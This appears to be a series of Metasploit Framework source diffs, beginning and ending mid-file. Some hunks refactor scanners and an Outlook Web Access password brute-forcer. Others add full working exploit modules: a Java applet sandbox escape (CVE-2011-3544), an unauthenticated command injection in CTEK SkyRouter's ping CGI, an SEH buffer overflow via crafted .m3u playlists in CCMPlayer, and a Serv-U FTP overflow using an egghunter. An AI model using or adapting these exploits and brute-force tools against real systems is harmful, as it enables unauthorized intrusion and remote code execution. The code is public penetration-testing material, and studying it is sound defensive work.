"\x00\x08\x02\x00\x09\x00\x0a\x00\x0b\x07\x01\x00\x32\x80" +
|
||||
"\x96\x61\x41\x02\x80\x01\x80"
|
||||
|
||||
buff
|
||||
end
|
||||
|
||||
def create_user_release_info(call_guid)
|
||||
"\x05" +
|
||||
"\x25\x80\x06\x00\x08\x91\x4a\x00\x05\x01\x11\x00" +
|
||||
call_guid +
|
||||
"\x02\x80\x01\x00"
|
||||
end
|
||||
|
||||
def h323_release_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
|
||||
encap_tpkt(3,
|
||||
encap_q225_release(
|
||||
create_ie_display(caller_name) +
|
||||
create_ie_user_user(
|
||||
create_user_release_info(call_guid )
|
||||
)
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def h323_setup_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
|
||||
encap_tpkt(3,
|
||||
encap_q225_setup(
|
||||
create_ie_bearer_capability() +
|
||||
create_ie_display(caller_name) +
|
||||
create_ie_user_user(
|
||||
create_user_info( h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid )
|
||||
)
|
||||
)
|
||||
)
|
||||
end
|
||||
end
|
||||
|
|
@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]),
|
||||
OptBool.new('VERIFY_HEAD', [ false, 'Enable test for HEAD method', false ]),
|
||||
OptBool.new('LOOKUP_PUBLIC_ADDRESS', [ false, 'Enable test for retrieve public IP address via RIPE.net', false ]),
|
||||
OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', '209.85.135.147' ]),
|
||||
OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', '209.85.148.147' ]),
|
||||
OptString.new('ValidCode', [ false, "Valid HTTP code for a successfully request", '200,302' ]),
|
||||
OptString.new('ValidPattern', [ false, "Valid HTTP server header for a successfully request", 'server: gws' ]),
|
||||
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
|
|
|
@ -47,6 +47,17 @@ class Metasploit3 < Msf::Auxiliary
|
|||
datastore['BLANK_PASSWORDS'] = false # OWA doesn't support blank passwords
|
||||
vhost = datastore['VHOST'] || datastore['RHOST']
|
||||
|
||||
print_status("#{msg} Testing version #{datastore['VERSION']}")
|
||||
|
||||
# Here's a weird hack to check if each_user_pass is empty or not
|
||||
# apparently you cannot do each_user_pass.empty? or even inspect() it
|
||||
isempty = true
|
||||
each_user_pass do |user|
|
||||
isempty = false
|
||||
break
|
||||
end
|
||||
print_error("No username/password specified") if isempty
|
||||
|
||||
if datastore['VERSION'] == '2003'
|
||||
authPath = '/exchweb/bin/auth/owaauth.dll'
|
||||
inboxPath = '/exchange/'
|
||||
|
@ -58,21 +69,19 @@ class Metasploit3 < Msf::Auxiliary
|
|||
elsif datastore['VERSION'] == '2010'
|
||||
authPath = '/owa/auth.owa' # Post creds here
|
||||
inboxPath = '/owa/' # Get request with cookie/sessionid
|
||||
loginCheck = /Inbox/ # check result
|
||||
loginCheck = /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found/ # check result
|
||||
else
|
||||
print_error('Invalid Version, Select 2003, 2007, or 2010')
|
||||
print_error('Invalid VERSION, select one of 2003, 2007, or 2010')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Testing OWA: version #{datastore['VERSION']} against #{vhost}:#{datastore['RPORT'].to_s}")
|
||||
|
||||
begin
|
||||
each_user_pass do |user, pass|
|
||||
vprint_status("Trying #{user} : #{pass}")
|
||||
vprint_status("#{msg} Trying #{user} : #{pass}")
|
||||
try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
|
||||
end
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
|
||||
print_error('HTTP Connection Error, Aborting')
|
||||
print_error("#{msg} HTTP Connection Error, Aborting")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -98,17 +107,17 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}, 20)
|
||||
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
print_error('HTTP Connection Failed, Aborting')
|
||||
print_error("#{msg} HTTP Connection Failed, Aborting")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if not res
|
||||
print_error('HTTP Connection Error, Aborting')
|
||||
print_error("#{msg} HTTP Connection Error, Aborting")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if not res.headers['set-cookie']
|
||||
print_error('Received Invalid Repsonse due to a missing cookie (Possibly Due To Invalid Version), Aborting')
|
||||
print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting")
|
||||
return :abort
|
||||
end
|
||||
|
||||
|
@ -125,22 +134,22 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'headers' => headers
|
||||
}, 20)
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
print_error('HTTP Connection Failed, Aborting')
|
||||
print_error("#{msg} HTTP Connection Failed, Aborting")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if not res
|
||||
print_error('HTTP Connection Error, Aborting')
|
||||
print_error("#{msg} HTTP Connection Error, Aborting")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if res.code == 302
|
||||
vprint_error("FAILED LOGIN. #{user} : #{pass}")
|
||||
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
|
||||
return :skip_pass
|
||||
end
|
||||
|
||||
if res.body =~ loginCheck
|
||||
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
|
||||
report_hash = {
|
||||
:host => datastore['RHOST'],
|
||||
|
@ -154,9 +163,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
report_auth_info(report_hash)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("FAILED LOGIN. #{user} : #{pass}")
|
||||
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
|
||||
return :skip_pass
|
||||
end
|
||||
end
|
||||
|
||||
def msg
|
||||
"#{vhost}:#{rport} OWA -"
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -11,7 +11,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::WMAPScanSSL
|
||||
|
@ -25,13 +25,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Name' => 'HTTP SSL Certificate Information',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Parse the server SSL certificate to obtain the common name and signature algorithm',
|
||||
'Author' => 'et',
|
||||
'Author' =>
|
||||
[
|
||||
'et', #original module
|
||||
'Chris John Riley', #additions
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options([
|
||||
Opt::RPORT(443)
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
# Fingerprint a single host
|
||||
|
@ -39,14 +42,30 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
|
||||
connect
|
||||
connect(true, {"SSL" => true}) #Force SSL
|
||||
|
||||
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
|
||||
|
||||
disconnect
|
||||
|
||||
if cert
|
||||
print_status("#{ip}:#{rport} Subject: #{cert.subject} Signature Alg: #{cert.signature_algorithm}")
|
||||
print_status("#{ip}:#{rport} Subject: #{cert.subject}")
|
||||
print_status("#{ip}:#{rport} Issuer: #{cert.issuer}")
|
||||
print_status("#{ip}:#{rport} Signature Alg: #{cert.signature_algorithm}")
|
||||
|
||||
# Checks for common properties of self signed certificates
|
||||
caissuer = (/CA Issuers - URI:(.*?),/i).match(cert.extensions.to_s)
|
||||
|
||||
if caissuer.to_s.empty?
|
||||
print_good("Certificate contains no CA Issuers extension... possible self signed certificate")
|
||||
else
|
||||
print_status("#{ip}:#{rport} " +caissuer.to_s[0..-2])
|
||||
end
|
||||
|
||||
if cert.issuer.to_s == cert.subject.to_s
|
||||
print_good("Certificate Subject and Issuer match... possible self signed certificate")
|
||||
end
|
||||
|
||||
alg = cert.signature_algorithm
|
||||
|
||||
if alg.downcase.include? "md5"
|
||||
|
@ -101,4 +120,3 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -88,7 +88,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
res.body = res.bufq
|
||||
end
|
||||
sid = res.body.scan(/<GLOBAL_NAME>(\S+)<\/GLOBAL_NAME>/)[0]
|
||||
report_note(:host => ip, :proto => 'tcp', :port => datastore['RPORT'], :type => 'SERVICE_NAME', :data => "#{sid}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'SERVICE_NAME',
|
||||
:data => "#{sid}",
|
||||
:update => :unique_data
|
||||
)
|
||||
print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{datastore['DBUSER']} / #{datastore['DBPASS']}")
|
||||
users.push(user_pass)
|
||||
else
|
||||
|
@ -125,7 +132,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
p = e.elements['PRODUCT'].get_text
|
||||
v = e.elements['VERSION'].get_text
|
||||
s = e.elements['STATUS'].get_text
|
||||
report_note(:host => datastore['RHOST'], :sname => 'XDB', :proto => 'tcp', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Component Version: #{p}#{v}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:sname => 'XDB',
|
||||
:proto => 'tcp',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Component Version: #{p}#{v}",
|
||||
:update => :unique_data
|
||||
)
|
||||
print_good("\t#{p}\t\t#{v}\t(#{s})")
|
||||
|
||||
end
|
||||
|
@ -155,7 +170,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
doc.elements.each('ALL_REGISTRY_BANNERS/ROW') do |e|
|
||||
next if e.elements['BANNER'] == nil
|
||||
b = e.elements['BANNER'].get_text
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'XDB', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Component Version: #{b}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'XDB',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Component Version: #{b}",
|
||||
:update => :unique_data
|
||||
)
|
||||
print_good("\t#{b}")
|
||||
end
|
||||
end
|
||||
|
@ -195,7 +218,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if(sid and sid != "")
|
||||
print_good("\tLink: #{d}\t#{us}\@#{h[0]}/#{sid[0]}")
|
||||
report_note(:host => h[0], :proto => 'tcp', :port => datastore['RPORT'], :sname => 'XDB', :type => 'oracle_sid', :data => "#{sid}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => h[0],
|
||||
:proto => 'tcp',
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'XDB',
|
||||
:type => 'oracle_sid',
|
||||
:data => "#{sid}",
|
||||
:update => :unique_data
|
||||
)
|
||||
else
|
||||
print_good("\tLink: #{d}\t#{us}\@#{h}")
|
||||
end
|
||||
|
@ -233,9 +264,25 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good("\t#{us}:#{h}:#{as}")
|
||||
good = true
|
||||
if(as.to_s == "OPEN")
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'XDB', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Active Account #{u}:#{h}:#{as}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'XDB',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Active Account #{u}:#{h}:#{as}",
|
||||
:update => :unique_data
|
||||
)
|
||||
else
|
||||
report_note(:host => datastore['RHOST'], :proto => 'tcp', :sname => 'XDB', :port => datastore['RPORT'], :type => 'ORA_ENUM', :data => "Disabled Account #{u}:#{h}:#{as}", :update => :unique_data)
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:proto => 'tcp',
|
||||
:sname => 'XDB',
|
||||
:port => datastore['RPORT'],
|
||||
:type => 'ORA_ENUM',
|
||||
:data => "Disabled Account #{u}:#{h}:#{as}",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -170,6 +170,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
buf = sock.get_once(1)
|
||||
if buf != "\x00"
|
||||
buf = sock.get_once(-1)
|
||||
if buf.nil?
|
||||
return :failed
|
||||
end
|
||||
result = buf.gsub(/[[:space:]]+/, ' ')
|
||||
vprint_error("Result: #{result}")
|
||||
return :skip_user if result =~ /locuser too long/
|
||||
|
|
|
@ -1,7 +1,3 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
@ -11,7 +7,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
|
@ -21,7 +17,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Service Discovery',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{ Scans for listening SAP services. },
|
||||
'References' =>
|
||||
[
|
||||
|
@ -189,7 +184,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
when /^39[0-9][0-9]$/
|
||||
service = "ITS AGate sapavw00_<INST>"
|
||||
when /^4[0-9][0-9]00/
|
||||
"IGS Multiplexer"
|
||||
service = "IGS Multiplexer"
|
||||
when /^8200$/
|
||||
service = "XI JMS/JDBC/File Adapter"
|
||||
when /^8210$/
|
||||
|
@ -205,7 +200,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
when /^4445$/
|
||||
service = "IPC Data Loader"
|
||||
when /^9999$/
|
||||
"IPC Server"
|
||||
service = "IPC Server"
|
||||
when /^3[0-9][0-9](0|1)(1|2|3|4|5|6|7|8$)/
|
||||
service = "SAP Software Deployment Manager"
|
||||
when /^2000(3|4|5|6|7$)/
|
||||
|
@ -229,16 +224,18 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
print_good("#{ip}:#{port}\t - #{service} OPEN")
|
||||
|
||||
=begin
|
||||
report_note(:host => "#{ip}",
|
||||
:proto => 'TCP',
|
||||
:port => "#{port}",
|
||||
:type => 'SAP',
|
||||
:data => "#{service}")
|
||||
=end
|
||||
|
||||
r << [ip,port,"open"]
|
||||
r << [ip,port,"open", service]
|
||||
rescue ::Rex::ConnectionRefused
|
||||
vprint_status("#{ip}:#{port}\t - TCP closed")
|
||||
r << [ip,port,"closed"]
|
||||
r << [ip,port,"closed", "service"]
|
||||
rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
|
@ -257,7 +254,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
r.each do |res|
|
||||
report_service(:host => res[0], :port => res[1], :state => res[2])
|
||||
report_service(:host => res[0], :port => res[1], :state => res[2], :name => res[3])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -330,6 +330,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
#copy paste from rex::socket cause we need only ipv4
|
||||
#NOTE: Breaks msftidy's rule on long lines, should be refactored for readability.
|
||||
def is_ipv4?(addr)
|
||||
(addr =~ /^(?:(?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2}))$/) ? true : false
|
||||
end
|
||||
|
|
|
@ -0,0 +1,122 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize( info = {} )
|
||||
super( update_info( info,
|
||||
'Name' => 'Java Applet Rhino Script Engine Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the Rhino Script Engine that
|
||||
can be used by a Java Applet to run arbitrary Java code outside of
|
||||
the sandbox. The vulnerability affects version 7 and version 6 update
|
||||
27 and earlier, and should work on any browser that supports Java
|
||||
(for example: IE, Firefox, Google Chrome, etc)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Schierl', # Discovery
|
||||
'juan vazquez', # metasploit module
|
||||
'Edward D. Teach <teach@consortium-of-pwners.net>',
|
||||
'sinn3r'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-3544' ],
|
||||
[ 'OSVDB', '76500' ],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-305/' ],
|
||||
[ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],
|
||||
],
|
||||
'Platform' => [ 'java', 'win', 'linux' ],
|
||||
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
}
|
||||
],
|
||||
[ 'Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Apple OSX',
|
||||
{
|
||||
'ARCH' => ARCH_X86,
|
||||
'Platform' => 'osx'
|
||||
}
|
||||
],
|
||||
[ 'Linux x86',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 18 2011'
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri( cli, request )
|
||||
if not request.uri.match(/\.jar$/i)
|
||||
if not request.uri.match(/\/$/)
|
||||
send_redirect(cli, get_resource() + '/', '')
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
||||
return
|
||||
end
|
||||
|
||||
paths = [
|
||||
[ "Exploit.class" ]
|
||||
]
|
||||
|
||||
p = regenerate_payload(cli)
|
||||
|
||||
jar = p.encoded_jar
|
||||
paths.each do |path|
|
||||
1.upto(path.length - 1) do |idx|
|
||||
full = path[0,idx].join("/") + "/"
|
||||
if !(jar.entries.map{|e|e.name}.include?(full))
|
||||
jar.add_file(full, '')
|
||||
end
|
||||
end
|
||||
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2011-3544", path ), "rb")
|
||||
data = fd.read(fd.stat.size)
|
||||
jar.add_file(path.join("/"), data)
|
||||
fd.close
|
||||
end
|
||||
|
||||
print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
|
||||
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
|
||||
|
||||
handler( cli )
|
||||
end
|
||||
|
||||
def generate_html
|
||||
html = "<html><head></head>"
|
||||
html += "<body>"
|
||||
html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
|
||||
html += "</applet></body></html>"
|
||||
return html
|
||||
end
|
||||
|
||||
end
|
|
@ -16,6 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
#
|
||||
# This module does basically nothing
|
||||
# NOTE: Because of this it's missing a disclosure date that makes msftidy angry.
|
||||
#
|
||||
|
||||
def initialize(info = {})
|
||||
|
|
|
@ -0,0 +1,64 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CTEK SkyRouter 4200 and 4300 Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated remote root exploit within ctek SkyRouter 4200 and 4300.
|
||||
},
|
||||
'Author' => [ 'savant42' ], #with module help from kos
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [ 'URL', 'http://dev.metasploit.com/redmine/issues/5610'],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Space' => 1024,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl telnet netcat-e bash',
|
||||
}
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DisclosureDate' => 'Sep 8 2011', # CGI historical date :)
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
post_data = "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;" + Rex::Text.uri_encode(payload.encoded) + "+%26"
|
||||
uri = '/apps/a3/cfg_ethping.cgi'
|
||||
print_status("Sending HTTP request for #{uri}")
|
||||
res = send_request_cgi( {
|
||||
'global' => true,
|
||||
'uri' => uri,
|
||||
'method' => "POST",
|
||||
'data' => post_data
|
||||
}, 30)
|
||||
|
||||
if res
|
||||
print_status("The server responded with HTTP CODE #{res.code}")
|
||||
else
|
||||
print_status("The server did not respond to our request")
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,98 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)',
|
||||
'Description' => %q{
|
||||
This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
|
||||
a m3u playlist with a long track name, a SEH exception record can be overwritten
|
||||
with parts of the controllable buffer. SEH execution is triggered after an
|
||||
invalid read of an injectible address, thus allowing arbitrary code execution.
|
||||
This module works on multiple Windows platforms including: Windows XP SP3,
|
||||
Windows Vista, and Windows 7.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Rh0'], # discovery and metasploit module
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '77453'],
|
||||
['URL', 'http://www.exploit-db.com/exploits/18178/']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'DisablePayloadHandler' => 'true',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 0x1000,
|
||||
'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\
|
||||
'DisableNops' => 'True',
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'CCMPlayer 1.5',
|
||||
{
|
||||
# pop esi / pop ebx / ret (in ccmplay.exe)
|
||||
# tweak it if necessary
|
||||
'Ret' => 0x00403ca7, # last NULL in buffer is accepted
|
||||
'Offset' => 0x1000
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '30 Nov 2011', # to my knowledge
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
m3u = "C:\\"
|
||||
# shellcode
|
||||
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25
|
||||
m3u << payload.encoded
|
||||
# junk
|
||||
m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))
|
||||
# need an access violation when reading next 4 bytes as address (0xFFFFFFFF)
|
||||
# to trigger SEH
|
||||
m3u << [0xffffffff].pack("V")
|
||||
# pad
|
||||
m3u << rand_text_alpha_upper(3)
|
||||
# long jmp: jmp far back to shellcode
|
||||
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string
|
||||
# NSEH: jmp short back to long jmp instruction
|
||||
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
|
||||
# pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
|
||||
m3u << rand_text_alpha_upper(2)
|
||||
# SEH Exception Handler Address -> p/p/r
|
||||
m3u << [target.ret].pack("V")
|
||||
m3u << ".mp3\r\n" # no crash without it
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
|
||||
# Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
|
||||
file_create(m3u)
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -143,3 +143,4 @@ AbsoluteFTP 1.9.6
|
|||
Does not work on:
|
||||
AbsoluteFTP 1.8
|
||||
=end
|
||||
|
||||
|
|
|
@ -0,0 +1,102 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Egghunter
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Serv-U FTP Server <4.2 Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in the site chmod command
|
||||
in versions of Serv-U FTP Server prior to 4.2.
|
||||
|
||||
You must have valid credentials to trigger this vulnerability. Exploitation
|
||||
also leaves the service in a non-functional state.
|
||||
},
|
||||
'Author' => 'thelightcosine <thelightcosine[at]metasploit.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2004-2111'],
|
||||
[ 'OSVDB', '3713'],
|
||||
[ 'BID', '9483'],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows 2000 SP0-4 EN', {
|
||||
'Ret' => 0x750212bc, #WS2HELP.DLL
|
||||
'Offset' => 396 } ],
|
||||
[ 'Windows XP SP0-1 EN', {
|
||||
'Ret' => 0x71aa388f, #WS2HELP.DLL
|
||||
'Offset' => 394 } ]
|
||||
],
|
||||
'DisclosureDate' => 'Dec 31 2004',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
disconnect
|
||||
|
||||
if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
connect_login
|
||||
|
||||
eggoptions =
|
||||
{
|
||||
:checksum => true,
|
